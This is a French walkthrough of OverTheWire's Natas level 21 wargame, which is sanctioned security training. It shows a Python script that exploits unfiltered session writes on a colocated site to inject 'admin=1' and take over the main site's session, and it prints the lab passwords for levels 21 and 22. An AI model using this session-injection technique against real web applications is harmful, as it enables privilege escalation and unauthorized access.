Niveau 21

Natas 21

Level Goal

Username: natas21
Password: IFekPyrQXftziDEsUr3x21sYuahypdgJ
URL: http://natas21.natas.labs.overthewire.org

En se connectant à la page du challenge 21 (curl http://natas21.natas.labs.overthewire.org -u natas21:IFekPyrQXftziDEsUr3x21sYuahypdgJ) on accède à une page avec le message suivant :

Note: this website is colocated with http://natas21-experimenter.natas.labs.overthewire.org
You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.

Le code source de la page ne nous apprend pas grand chose :

<?

function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas22\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22.";
    }
}
/* }}} */

session_start();
print_credentials();

?> 

On peut également voir qu'un cookie de session est enregistré :

PHPSESSID   "tg3nb3scvd845ff48je5qs4qc2"

De toute évidence il va falloir trouver une faille sur le site "colocataire" http://natas21-experimenter.natas.labs.overthewire.org, qui semble partager ses fichiers de session avec le site principal.

Ainsi, si l'on arrive à injecter une variable admin avec comme valeur 1 sur ce second site on devrait pouvoir trouver le mot de passe sur le site principal.

Si on se rend sur ce second site, on accède à un formulaire permettant de spécifier 3 paramètres CSS qui qui affectent le rendu d'un bloc div :

<div style='background-color: yellow; text-align: center; font-size: 100%;'>Hello world!</div>
<p>Change example values here:</p>
<form action="index.php" method="POST">
    align: <input name='align' value='center' /><br>
    fontsize: <input name='fontsize' value='100%' /><br>
    bgcolor: <input name='bgcolor' value='yellow' /><br>
    <input type="submit" name="submit" value="Update" />
</form

Le code source associé est le suivant :

<?  

session_start();

// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
    foreach($_REQUEST as $key => $val) {
    $_SESSION[$key] = $val;
    }
}

if(array_key_exists("debug", $_GET)) {
    print "[DEBUG] Session contents:<br>";
    print_r($_SESSION);
}

// only allow these keys
$validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow");
$form = "";

$form .= '<form action="index.php" method="POST">';
foreach($validkeys as $key => $defval) {
    $val = $defval;
    if(array_key_exists($key, $_SESSION)) {
    $val = $_SESSION[$key];
    } else {
    $_SESSION[$key] = $val;
    }
    $form .= "$key: <input name='$key' value='$val' /><br>";
}
$form .= '<input type="submit" name="submit" value="Update" />';
$form .= '</form>';

$style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";";
$example = "<div style='$style'>Hello world!</div>";

?>

<p>Example:</p>
<?=$example?>

<p>Change example values here:</p>
<?=$form?> 

On peut remarquer qu'il y a un processus validation des clefs envoyées qui s'assure que l'on n'envoi que des propriétés autorisées (align, fontsize, bgcolor) au niveau de la boucle foreach :

foreach($validkeys as $key => $defval) {

Cependant on peut également remarquer qu'en amont de cela il y a une fonction mettant à jour l'ensemble des valeurs du formulaire sans filtrer ni clef, ni valeur :

// if update was submitted, store it
if(array_key_exists("submit", $_REQUEST)) {
    foreach($_REQUEST as $key => $val) {
    $_SESSION[$key] = $val;
    }
}

Essayons simplement d'envoyer un formulaire avec un paramètre submit et un paramètre admin avec la valeur 1. On ajoute également le paramètre debug à l'url pour afficher les détails de la session :

import requests


response = requests.post(
    "http://natas21-experimenter.natas.labs.overthewire.org?debug",
    params={"submit": "submit",  "admin": 1},
    auth=requests.auth.HTTPBasicAuth("natas21", "IFekPyrQXftziDEsUr3x21sYuahypdgJ"),
)
print(response.text)

Dans notre réponse on peut noter :

[DEBUG] Session contents:<br>Array
(
    [debug] =>
    [submit] => submit
    [admin] => 1
)

Ajoutons une requête à la suite de ce code pour afficher la page principale de l'épreuve :

import requests


response = requests.post(
    "http://natas21-experimenter.natas.labs.overthewire.org?debug",
    params={"submit": "submit",  "admin": 1},
    auth=requests.auth.HTTPBasicAuth("natas21", "IFekPyrQXftziDEsUr3x21sYuahypdgJ"),
)
session_cookie = response.cookies.get_dict()

response = requests.get(
    "http://natas21.natas.labs.overthewire.org",
    cookies=session_cookie,
    auth=requests.auth.HTTPBasicAuth("natas21", "IFekPyrQXftziDEsUr3x21sYuahypdgJ"),
)

print(response.text)

En exécutant ce script on obtient :

You are an admin. The credentials for the next level are:
Username: natas22
Password: chG9fbe1Tq2eWVMgjYYD1MsfIvN461kJ